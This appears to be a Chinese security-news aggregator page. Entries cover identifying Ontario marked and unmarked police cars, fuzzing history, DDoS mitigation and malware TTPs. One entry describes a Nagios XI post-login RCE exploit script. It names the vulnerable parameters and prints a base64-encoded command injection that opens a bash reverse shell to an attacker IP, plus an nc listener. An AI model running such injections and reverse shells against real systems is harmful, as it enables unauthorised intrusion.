Aggregator

Ontario 现役警车大全及卧底警车识别指南

K4YT3X
4 years 5 months ago
K4YT3X https://k4yt3x.com/ontario-%E7%8E%B0%E5%BD%B9%E8%AD%A6%E8%BD%A6%E5%A4%A7%E5%85%A8%E5%8F%8A%E5%8D%A7%E5%BA%95%E8%AD%A6%E8%BD%A6%E8%AF%86%E5%88%AB%E6%8C%87%E5%8D%97/ - 序言

几乎所有的警车都由第三方公司从民用车型改装而来，在北美常见的基础款型为 Ford Taurus、Dodge Charger、Ford Explorer、Chevrolet Tahoe 等。这些例如 Dodge Law 的改装公司会在车辆的基础款型上进行很多改装，常见的改装有：

  • 警用轮毂
  • 两侧后视镜上方的探照灯
  • 警用电台
  • 枪械支架
  • 车体（车门、车窗等）加固
  • 警灯
  • 后备箱里的工具箱

除此之外，部分的车还会配有更多的改装件以提供额外功能：

  • 警用防撞杆
  • 较长的电台高增益天线
  • 车牌扫描器
  • 后座的牢笼
Ford Taurus Police Interceptor 简介

Ford Taurus Police Interceptor（以下简称 Taurus Interceptor）是一款经典的北美警车。这款警车是基于第六代 (2013-2019) Ford Taurus 改装而成，加装了各种警用设备，并且有四种引擎配置可以选择。其中较小马力的 2.0 EcoBoost 直列四缸更适合非追捕的情况使用，而大马力的 V6 版本则更适合在高速追捕中使用。

引擎 传动 马力 扭矩 极速 3.5-liter Ti-VCT V6 FFV 4WD/FWD 288 hp N/A 133 mph 3.7-liter T-VCT V6 FFV AWD 305 hp 280 lb/ft 133 mph 2.0-liter EcoBoost I-4 AWD 240 hp N/A N/A 3.5-liter EcoBoost V6 AWD 365 hp N/A 150 mph

Taurus Interceptor 以及其基本车型 Taurus 都在 2019 年宣布停产，因为基于 Ford Explorer 的 Police Interceptor Utility 销量更佳。基于 Fusion 的 Police Responder Hybrid Sedan 将会取代 Taurus Interceptor 的地位。

数据来源

常规警车

基于 Ford Taurus 的 OPP 警车可能是最常见的警车了。这种警车在各处都可以看到，无论是市内的应急响应还是高速贴超速罚单。


OPP cruiser，拍摄者：Can Pac Swire
https://www.flickr.com/photos/18378305@N00/35940619971/

上图的 Taurus Interceptor 可以说是这款车最经典的变种了，大多数市内见到的警车都是类似的型号。


OPPcar1-ON407，拍摄者：formulanone
https://www.flickr.com/photos/formulanone/27021002152/

这辆在 407 高速上巡逻的 Taurus Interceptor 额外装配有更长的高增益无线电天线，以确保在高速巡航、追捕或离中继站较远时仍能有稳定的信号。

各市地方的警察也都在广泛使用 Taurus Interceptor，而且也都有自己的涂装。例如在 Toronto 市内，就有好几种变种 Taurus Interceptor：


Silver grey ad white，拍摄者：Can Pac Swire
https://www.flickr.com/photos/18378305@N00/34326885996/

还有一种是纯白色：


Toronto police’s new cruiser，拍摄者：Can Pac Swire
https://www.flickr.com/photos/18378305@N00/24285244161/

银灰和白色配色：


Toronto Police 6711，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/49387676186/

对比之后发现，好像只有 OPP 的 Taurus Interceptor 会装防撞杆，而城市巡逻和卧底的版本并不会装。

卧底警车

Taurus 的卧底（unmarked）版本有很多变种，颜色也多种多样。最经典的卧底变种当属黑色和银灰色的警车。


Hamilton Police 794-1 Taurus Interceptor，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/36336845481/

警车识别

Ford Taurus 原厂前脸：


2017_ford_taurus_frontview，来源：U.S. News
https://cars.usnews.com/cars-trucks/ford/taurus/2017/photos-exterior/front-view

Ford Taurus 原厂车尾：


2017_ford_taurus_rearview，来源：U.S. News
https://cars.usnews.com/cars-trucks/ford/taurus/2017/photos-exterior/rear-view

Dodge Charger Pursuit 简介

现役的 Dodge Charger Pursuit 大多是基于 2015 以后款型的 Dodge Charger 改装而来。Charger 目前多被用于高速巡逻（highway patrol）上，在市内很少见到 Charger Pursuit 的身影。其 5.7 升 HEMI V-8 款型的强劲引擎最高可以输出 370 匹马力，足以轻易追赶大多数民用车辆，所以更适合高速巡逻。不过，我目前并没有找到证据证明大多数 Charger Pursuit 是 3.7 升版本还是 5.7 升版本。

有意思的是，绝大多数北美的 Charger Pursuit 警车都是加拿大公司 Dodge Law 制造的。下面这个视频对 Charger Pursuit 做出了较详细的评测，如果想要知道更多细节可以观看。

2020 款的 Dodge Charger Pursuit 有两套动力系统可以选择，具体指标分别如下：

引擎 传动 马力 扭矩 3.6-LITER PENTASTAR DOHC 24-VALVE V-6 RWD 292 hp 260 lb/ft 5.7-LITER HEMI® V-8 WITH FUEL SAVER TECHNOLOGY AWD 370 hp 395 lb/ft

如果想要更详细的数据，可以前往官网：https://www.fcausfleet.com/content/dam/fca-fleet/na/fleet/en_us/dodge/2020/charger-pursuit/buyers-guide/2020_DG_Charger_Pursuit_SPECS.pdf

Dodge Charger Pursuit 还有一个可选的警官保护功能（Officer Protection Package）。此功能可通过方向盘被激活，当激活之后，面向车位的传感器和摄像头会被激活。当检测到有人靠近车辆时，警灯和警笛会被激活，同时车窗也会被升起以震慑尝试偷袭的犯罪分子并且保护警官的安全。下面附有官网的 YouTube 演示视频。

参考资料

常规警车


OPP 6-316，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/38060525916/

有些警车还安装了牌照扫描器，例如下图的 Charger Pursuit 就在车顶驾驶员的位置安装了一台。


OPP 6-196，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/46545487005/

卧底警车

Dodge Charger Pursuit 的卧底警车在高速上非常常见，而由于其独特的尾灯，也非常好识别。细节请移步警车识别章节。


Dodge Charger Pursuit Unmarked，拍摄者：未知
http://picssr.com/photos/century288_photography/favorites/page61?nsid=74133959@N06

警车识别

Dodge Charger 原厂前脸：


2020_dodge_charger_frontview，来源：U.S. News
https://cars.usnews.com/cars-trucks/dodge/charger/2020/photos-exterior

Dodge Charger 原厂车尾：


2020_dodge_charger_rearview，来源：U.S. News
https://cars.usnews.com/cars-trucks/dodge/charger/2020/photos-exterior

Dodge Charger Pursuit 最标志的特征莫过于尾灯和大灯了，其中记住识别尾灯形状尤为重要。在高速巡航的时候，很容易就能认出前方 Dodge Charger 的尾灯，因为其形状是两根横跨整个车身的长条。多说无益，看下图示例即可。当在晚上看到这样的尾灯的时候，那就一定是 Dodge 的车。虽说 Durango 和 Dart 也有相似形状的尾灯，但是从这样的车边上高速驶过我个人认为不是什么明智的选择。


Dodge ChargerSmoked tail lights and Side markers，来源：[email protected]
https://www.hellcat.org/threads/smoked-tail-lights-and-side-markers.8091/

虽然 Dodge Charger 的大灯一样非常有特点，但是想要在后视镜中辨识出来还是有一定难度，尤其是夜间。况且，如果您已经可以在后视镜里看到这对大灯了，说明您已经基本没救了。Dodge Charger 的大灯形状如下图所示。


Dodge 前脸，来源：Dodge Law 官网
https://www.fcausfleet.com/dodge/charger-pursuit.html

Ford Utility Interceptor 简介

Ford Utility Interceptor 可以说是北美最流行的警车了。Utility Interceptor 的泛用性强，且在各方面的使用效果都不错。最新（2020）版本的 Utility Interceptor 还提供了 EcoBoost 和 HEV 混动的版本，其 EcoBoost 的版本最高马力甚至可以达到惊人的 400 匹。

引擎 传动 马力（混动） 马力（汽油） 扭矩（混动） 扭矩（汽油） 3.3L HEV AWD 318 hp 285 hp 322 lb/ft 260 lb/ft 3.3L Direct-Injection V6 FFV AWD N/A 285 hp N/A 260 lb/ft 3.0L EcoBoost AWD N/A 400 hp N/A 415 lb/ft

Donut Media 做过一期 Utility Interceptor 的详细 breakdown，有兴趣的话值得一看。

参考资料：

常规警车

Ford Utility Interceptor 的常规警车在加拿大的各州和美国的各州都非常常见。


OPP 6-621，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/32052636326/

Toronto 警察也理所当然拥有自己的版本。


Toronto Police 5105，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/49387679101/

个人觉得 Utility Interceptor 在 local 道路上见到的很多，尤其是 Waterloo 地区。


Ford Utility Interceptor Clocking Traffic，来源：Waterloo Regional Police
https://twitter.com/WRPSToday/status/1266365407629152258/photo/1

卧底警车

Ford Utility Interceptor 的卧底警车相当常见，Waterloo 和 O.P.P 大多数都是黑色和银灰色的配色。


Waterloo Unmarked Ford Utility Interceptor，来源：Halton Regional Police Service
https://twitter.com/HRPSBurl/status/1266417636361076736/photo/1

Brantford 区域的 Utility Interceptor 则有更明显的标记。


Brantford Police Services 12，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/48010643798/

黑色的也很常见，可以注意一下车顶上显眼的天线。


Via Rail Police，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/47947528912/

警车识别

Ford Explorer 原厂前脸：


2018_ford_explorer_frontview，来源：U.S. News
https://cars.usnews.com/cars-trucks/ford/explorer/2018/photos-exterior

Ford Explorer 原厂车尾：


2018_ford_explorer_rearview，来源：U.S. News
https://cars.usnews.com/cars-trucks/ford/explorer/2018/photos-exterior

Ford Explorer 这辆车特征并不明显，而且民用的也很多，所以只能在看到的时候小心一些了。

Chevrolet Tahoe PPV 简介

和其他警车一样，Tahoe PPV 的版本也是由第三方公司制作的。北美大多数的 Tahoe PPV 都是由 General Motors Fleet 改装而成。


2019-gmfleet-chevrolet-tahoe-ppv-keyfeatures，来源：GMFleet 官网
https://www.gmfleet.com/police/chevy-tahoe-ppv

2020 版本的 Tahoe PPV 提供了两种传动选择：2WD 和 4WD。除了传动系统的不同以外，其他方面配置都大致相同。

引擎 传动 马力 扭矩 5.3L EcoTec3 V8 2WD 355 hp 383 lb/ft 5.3L EcoTec3 V8 4WD 355 hp 383 lb/ft

参考资料：

以下是官方的 spec sheet，所有的细节甚至连走线接线方法都能在这些文档中找到。

常规警车

普通的 Tahoe 其实相比上述其他型号的警车更少见，不过 O.P.P 官方的 Twitter 经常能见到有超速车辆被 Tahoe pull over。


OPP 6-584，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/23978280627/

卧底警车

这辆车同样也有 unmarked 版本，而且同样还是不止一种涂装。最经典的当然还是黑色。


OPP 6-765，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/49489892118/

偏蓝/紫色的变种涂装：


OPP 6-663 Chevrolet Tahoe Interceptor，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/42139706481/

参考资料：

警车识别


2020_chevrolet_tahoe_frontview，来源：U.S. News
https://cars.usnews.com/cars-trucks/chevrolet/tahoe/2020/photos-exterior


2020_chevrolet_tahoe_rearview，来源：U.S. News
https://cars.usnews.com/cars-trucks/chevrolet/tahoe/2020/photos-exterior

其他车辆

这个章节囊括了一些平时并不那么常见的警车型号，大多数都是用于后勤和案发现场响应。

Chevrolet Suburban


OPP 35-552，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/49798169612/

Chevrolet Silverado 2500


OPP 6-607 Chevrolet Silverado 2500，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/49544849788/


OPP 6-522，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/31281594783/

Ford E250


One For The Records，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/46625377971/

卧底警车识别摘要

在看到有可能是警车款式的车时，就要警惕对方是不是警车了。识别卧底警车主要的重点就在于识别车辆上的警用配件，例如警用钢制轮毂，天线，防撞杆，探照灯等。其中最容易认出的就是轮毂，但是很多时候从后面并看不出轮毂，这时候就可以观察一些其它特征。

首先可以看车顶的天线和后视镜侧的探照灯，大多数警车都会在车顶或后备箱上有多个突起的天线。如果看到小天线，大约 95% 以上的概率就是警车了，因为大多数在民用市场上的退役警车会把这些装备全都拆干净。


Ottawa Police Service White Undercover Ford Taurus Police Interceptor Sedan，拍摄者：Michael Burns
https://www.flickr.com/photos/99880220@N02/17171363612

下图可以看到 Charger Pursuit 上天线的摆放位置。


O.P.P Pulling Dodge Challenger Over，来源：PRP Road Safety Services
https://twitter.com/PRPRoadSafety/status/1263930223810220040/photo/1

然后可以看看后视镜上面有没有探照灯，例如下图这台 Utility Interceptor 后视镜上就装有探照灯，同时车顶上还有天线。


Via Rail Police，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/47947528912/

还有些警车会配备车牌扫描仪


Waterloo Unmarked Ford Utility Interceptor，来源：Halton Regional Police Service
https://twitter.com/HRPSBurl/status/1266417636361076736/photo/1

如果这些都没有的话，大多数警车还是会装备 heavy-duty 的钢制轮毂。这种轮毂比普通 casted 轮毂更加耐用，在经过严峻地形的时候不容易开裂。常见的警用轮毂有三种。

第一种是最常见的，有五个孔。这种轮子在 Taurus Interceptor、Utility Interceptor 和 Charger Pursuit 上都能见到。


Silver grey ad white，拍摄者：Can Pac Swire
https://www.flickr.com/photos/18378305@N00/34326885996/

第二种轮子是这种多孔的，基本上只有 Charger Interceptor 才会装备。


OPP 6-196 Dodge Charger Interceptor，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/41016042271

第三种是这种七根辐条的，只有在 GMFleet 生产的 Tahoe PPV 上才能见到。


OPP 6-765，拍摄者：Joseph Bishop
https://www.flickr.com/photos/93850525@N02/49489892118/

照片版权

本文的照片来自于以下渠道：

本文并非盈利性质，使用照片遵循 fair use 原则。如有侵犯版权，请联系作者，我会立即删除。

- https://k4yt3x.com/ontario-%E7%8E%B0%E5%BD%B9%E8%AD%A6%E8%BD%A6%E5%A4%A7%E5%85%A8%E5%8F%8A%E5%8D%A7%E5%BA%95%E8%AD%A6%E8%BD%A6%E8%AF%86%E5%88%AB%E6%8C%87%E5%8D%97/ - 2019-2024 K4YT3X. All rights reserved.

Fuzzing战争: 从刀剑弓斧到星球大战

Flanker Sky
4 years 5 months ago
Fuzzing这个事物大概可以上溯到1950年，当计算机还在读取打孔卡作为输入的时候。那时候的工程师会从垃圾箱里随机检出一些废弃卡片，或者在卡上随机打孔作为输入来测试自己的程序。在1988年，Barton Miller在课堂上将Fuzzing这个名词正式确定，从此拉开三十年波澜壮阔的序幕。 广义上的fuzzing并不是漏洞挖掘中的专属内容，而是DevSecOps和Continous Integration质量保证中必不可少的一环，甚至可以延伸到完备图灵自动机的美妙梦想。在起初，人们通常以monkey testing来指代最原始的fuzz，就像著名的无限猴子定理一样：让一只猴子在打字机上随机地按键，当按键时间达到无穷时，几乎必然能够打出任何给定的文字，比如莎士比亚的全套著作，当然也有可能包含一套Nginx RCE。 但很显然，随机化的输入虽然终究能覆盖所有的输入空间，在人类未来可预见的算力水平下近乎天方夜谭。刘慈欣在《诗云》中有一个宏大的故事：宇宙神级文明为了写出最优雅的诗，而把整个太阳系的物质作为存储器，采用枚举遍历的办法把所有文字的排列组合全部生成并存储了下来。但最后神却发现，即使理论上这里存储了所有的诗句，他也无法在可接受的时间内找出目标来，因为美妙这个词本身就是主观而无法定量界定的。以神的算力尚且无法完成，以人的算力就更不可能了。随着软件复杂度大爆炸式的增加，dumb fuzzing的随机生成方式相当于在东方明珠上向下扔一只钉子，寄希望它能刚好掉进楼下某个人举着的酒杯里。 田园农耕时代 为了解决以上问题，在学术界，结合动态执行的symbolic execution在一段时间成为了主流，KLEE[1]即是其中的扛鼎之作。在Z3 Solver和LLVM bitcode infrastructure的加持下，KLEE能够自动解析各式各样的条件代码语句并生成输入，进而辅助fuzzing。 而在工业界，一般分两种做法： peach为代表的模版流派：研究人员通过XML等方法定义输入数据的格式，这种常见于文件格式和协议的fuzzer。 依赖于样本的收集和变异的样本流派：例如早年间IE和Flash的fuzzer很多依托于通过爬虫搜集的大量样本集合。整体来说，那个时代工业界的fuzz是各流派的独门秘籍，每个人都有自己的秘不外传的实现，热闹非凡但原理上大同小异。 虽然这些方案看起来都非常home brew，在早期的软件复杂度和质量的前提下，人们依然能够取得较好的成果。但随着软件复杂度的摩尔式增长和SDL开发流程的全面引入，停留在农耕时代的fuzzer们发现，自己开始跟不上软件发展的潮流了。 从越南战争到海湾战争 所有信息安全面临的问题都能在军事界找到类似的场景。美军在越战之中投放了前所未有的火力和军队，但依然遭受了惨重的伤亡乃至最后停战。越战的问题集中反应在火力杀伤效率的低下，面对防御严密的目标，攻击方只有两种选择 特种部队渗透或地面强攻。但这需要大量情报和兵力支持，并极有可能遭受大量伤亡。 提高航空兵和地面炮火火力密度，寄希望于火力扇面能够覆盖目标。但这只会进一步造成火力的浪费，同时仍然无法保证毁伤效率。 这和fuzzing技术后期面临的问题是类似的。针对越来越复杂的目标，纯粹堆计算资源的dumb fuzz效果已经可以忽略不计，但程序分析本身是一个NP-hard问题，符号执行的方法极易引起路径爆炸，对于复杂的软件最终会撞到资源墙上。而工业界的方法过于强调样本或格式指引而非程序指引，要么需要投入大量的前期精力编制模板，或者在缺乏context的情况下两眼一抹黑撞大运。 直至80年代末期，人们所设想的现代战争形式依然是拼消耗的钢铁洪流对撞，两伊战争的结果更是给这个理论增加了注脚。萨达姆在海湾阴云密布时，仍然充满了信心，仗百万精兵要让多国部队血流漂橹。 然平静之下，暗流涌动。针对以上问题，电子技术的发展和成熟及应用催生着新一代的军事革命，并最终在海湾战争中完美登台亮相。多国联军以摧枯拉朽之势击败了伊拉克军队，彻底颠覆了过往的战争形势，震撼了全球： 精确制导武器极大提升了火力发现和打击的效率 – 精准原则 C4ISR数据链指挥系统带来了从古至今所有军人梦寐以求的战场单向透明 – 敏捷原则 漫长的黑夜预示着黎明，更精准、更敏捷的划时代fuzzer即将登场。 横扫千军如卷席 随着LLVM工具链的成熟和计算资源的大发展，基于编译器插桩的coverage-feedback driven fuzzer渐渐成为了答案之一。正如美军在海湾战争展示的新军事革命一样，AFL的诞生则宣告着这个永恒的问题出现了一个高分答案。 AFL (Americal Fuzzy Lop，logo是美洲本地可爱的长毛兔) 由Michał Zalewski在2014年发布并开源，并迅速像AK47统治枪械市场一样成为了fuzzing系列工具的de facto standard，数年间斩获上万CVE。 基于编译时插桩和自定义bitmap的方法维护coverage信息，以简洁的方式巧妙地解决了以往获取coverage效率太低的问题 基于fork/exec的方式极大提高了fuzz效率 coverage导向的遗传进化算法简单但惊人地有效 在设计上即支持多进程甚至跨集群并联 在先驱者探明道路之后，后继者雨后春笋般涌现出来。LLVM也推出了自己的实现libfuzzer，以in-process mode取代了fork mode。基于AFL和libfuzzer的体系，结合protobuf定义，模版化fuzz也以structure-aware fuzzing的名义重返舞台。内核领域的对应者syzkaller也取得了极大成功。这类方法统称为Coverage-based greybox […]
flanker017

全面了解风控数据体系

正阳咨询
4 years 5 months ago
​考察一个人的判断力，主要考察他信息来源的多样性。无数的可怜人，长期生活在单一的信息里，而且是一种完全被扭曲、颠倒的信息，这是导致人们愚昧且自信的最大原因。

Nagiosxi的一个RCE漏洞利用脚本

BaCde's Blog
4 years 5 months ago

登陆后的，比较鸡肋。4月份发现的，一直放着，后来看官网更新了，直接发出来吧。另外官方还有一个明显的sql注入没修复。不过也是登陆后，感兴趣的可以去看一下。

简要信息

版本： 5.6.13（5.6.11版本也存在问题，只需要把最后文件名字中的 - 去掉）
条件：登陆后
漏洞文件相关路径：/includes/components/xicore/export-rrd.php、includes/utils-rrdexport.inc.php
漏洞参数：step、start、end

环境

python3
requests库，使用pip3安装即可。python3 -m pip install requests

运行
  1. 首先在远程机器上监听端口，用于反弹。命令：nc -l -v -p 4444
  2. python3 nagiox.py target (注：需带协议，如http或https)

另外，如果需要执行自己的命令，需要修改commond变量就可以了，这里也懒得改了。脚本中的命令"1|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAvNDQ0NCAwPiYx\"|base64+-d+|sh+-i);#"
其实就是执行的bash -i >& /dev/tcp/192.168.1.20/4444 0>&1

代码（保存为py文件）

Record 0-Second SLA PPS Mitigation

The Akamai Blog
4 years 5 months ago
On May 2, 2020, Akamai blocked a large PPS-focused attack against one of our financial services customers in 0 seconds, utilizing a proactive mitigation posture. This was one of the largest PPS levels we have on record, and the biggest mitigated to date in 0 seconds. The attacker launched a bevy of minimally sized UDP packets in an attempt to overwhelm network gear in the customer's data center.
Tom Emmons

TTPS在病毒家族定性中的应用

腾讯安全智能
4 years 5 months ago
TTPS是Tactics（战术）, Techniques（技术）, Procedures（程序或者过程、步骤）的缩写。TTP最初用于反恐，根据世界范围内所有恐怖分子或组织实施袭击分析和研究，恐怖分子的攻击可以用TTP的方式描述。

Managed ad